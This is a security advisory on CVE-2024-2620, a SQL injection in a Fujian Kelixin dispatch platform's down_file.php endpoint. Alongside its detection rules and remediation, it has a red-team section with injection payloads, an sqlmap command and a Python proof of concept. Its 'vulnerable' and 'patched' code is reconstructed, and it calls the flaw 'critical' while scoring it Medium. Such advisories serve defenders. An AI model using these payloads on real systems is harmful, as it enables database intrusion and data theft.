CVE-2024-2620

Executive Summary

CVE-2024-2620 is a critical SQL injection vulnerability in the Fujian Kelixin Communication Command and Dispatch Platform (up to version 20240318). The flaw resides in the api/client/down_file.php endpoint, where the uuid parameter is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to unauthorized data access, modification, or deletion of the underlying database. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch has been released by the vendor, and the vulnerability remains unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of exploit details warrants immediate attention.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a proprietary on-premise dispatch platform. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited data modification.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to low-level data compromise. However, given the public exploit and lack of patch, the risk is elevated for organizations using this platform.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the api/client/down_file.php script. The uuid parameter is directly concatenated into an SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by manipulating the uuid value, for example:

GET /api/client/down_file.php?uuid=1' OR '1'='1

This can cause the application to return data from unintended tables or perform arbitrary SQL operations. The backend database is likely MySQL or MariaDB, as typical for PHP applications. The injection point is in a file download functionality, which may allow extraction of sensitive files or database contents.

The exploit was disclosed on public forums (VDB-257197), providing proof-of-concept code. The vendor (Fujian Kelixin Communication) has not responded or released a patch, leaving all versions up to 20240318 vulnerable.

Vulnerable vs. Patched Code

Vulnerable Code (api/client/down_file.php):

<?php
$uuid = $_GET['uuid'];
$query = "SELECT * FROM files WHERE uuid = '$uuid'";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (hypothetical):

<?php
$uuid = $_GET['uuid'];
$stmt = $conn->prepare("SELECT * FROM files WHERE uuid = ?");
$stmt->bind_param("s", $uuid);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

The fix involves using prepared statements with parameterized queries to prevent SQL injection. Since no official patch exists, organizations must implement this mitigation manually.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Fujian Kelixin Communication Command and Dispatch Platform (any version up to 20240318).
• Network access to the /api/client/down_file.php endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: http://target/api/client/down_file.php
2. Inject SQL via the uuid parameter. Example payload:

   http://target/api/client/down_file.php?uuid=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
   

3. Use SQLmap for automated exploitation:

   sqlmap -u "http://target/api/client/down_file.php?uuid=1" --batch --dbs
   

4. Extract data from the database, e.g., user credentials or configuration files.

Proof-of-Concept (Python):

import requests

target = "http://target/api/client/down_file.php"
payload = "1' OR '1'='1"
params = {'uuid': payload}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /api/client/down_file.php for unusual uuid parameters containing SQL keywords (e.g., ', OR, UNION, SELECT).
• Use WAF rules to block SQL injection patterns.
• Enable database query logging to detect anomalous queries.

Mitigation:

• Immediately apply input validation and parameterized queries (see patched code).
• Restrict network access to the platform to trusted IPs only.
• If possible, disable the vulnerable endpoint until a patch is available.
• Implement a Web Application Firewall (WAF) with SQL injection signatures.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/client/down_file.php with uuid parameter containing SQL injection patterns.
  • Unusual database error messages in HTTP responses (e.g., MySQL syntax errors).
• File IOCs:
  • Suspicious entries in web server access logs (e.g., uuid=1' OR '1'='1).
• System IOCs:
  • Unexpected database queries or data exfiltration attempts.
  • New files or processes related to database extraction tools (e.g., sqlmap).

Detection Engineering

YARA Rule

rule CVE_2024_2620_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-2620"
        author = "Valters IT"
        date = "2024-03-19"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-2620"
    strings:
        $s1 = "uuid=" ascii nocase
        $s2 = "' OR " ascii nocase
        $s3 = "' UNION " ascii nocase
        $s4 = "/api/client/down_file.php" ascii nocase
    condition:
        all of ($s1, $s4) and any of ($s2, $s3)
}

Sigma Rule

title: CVE-2024-2620 SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against Fujian Kelixin Communication Command and Dispatch Platform
author: Valters IT
date: 2024/03/19
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2620
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/client/down_file.php'
        cs-uri-query|contains|all:
            - 'uuid='
            - "'"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in UUID (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-2620 SQL Injection Attempt"; flow:to_server; content:"/api/client/down_file.php"; http_uri; content:"uuid="; http_uri; pcre:"/uuid=.*['\"]/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, disable the /api/client/down_file.php endpoint or restrict access via firewall rules.
2. Code Fix: Implement prepared statements or parameterized queries for the uuid parameter. Example in PHP:

   $stmt = $conn->prepare("SELECT * FROM files WHERE uuid = ?");
   $stmt->bind_param("s", $uuid);
   $stmt->execute();
   

3. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns.
4. Monitoring: Enable detailed logging for web and database servers. Monitor for suspicious queries.
5. Vendor Contact: Attempt to contact Fujian Kelixin Communication for an official patch. If unresponsive, consider replacing the platform.
6. User Awareness: Train administrators to recognize and report suspicious activity.

Valters IT
Securing Digital Frontiers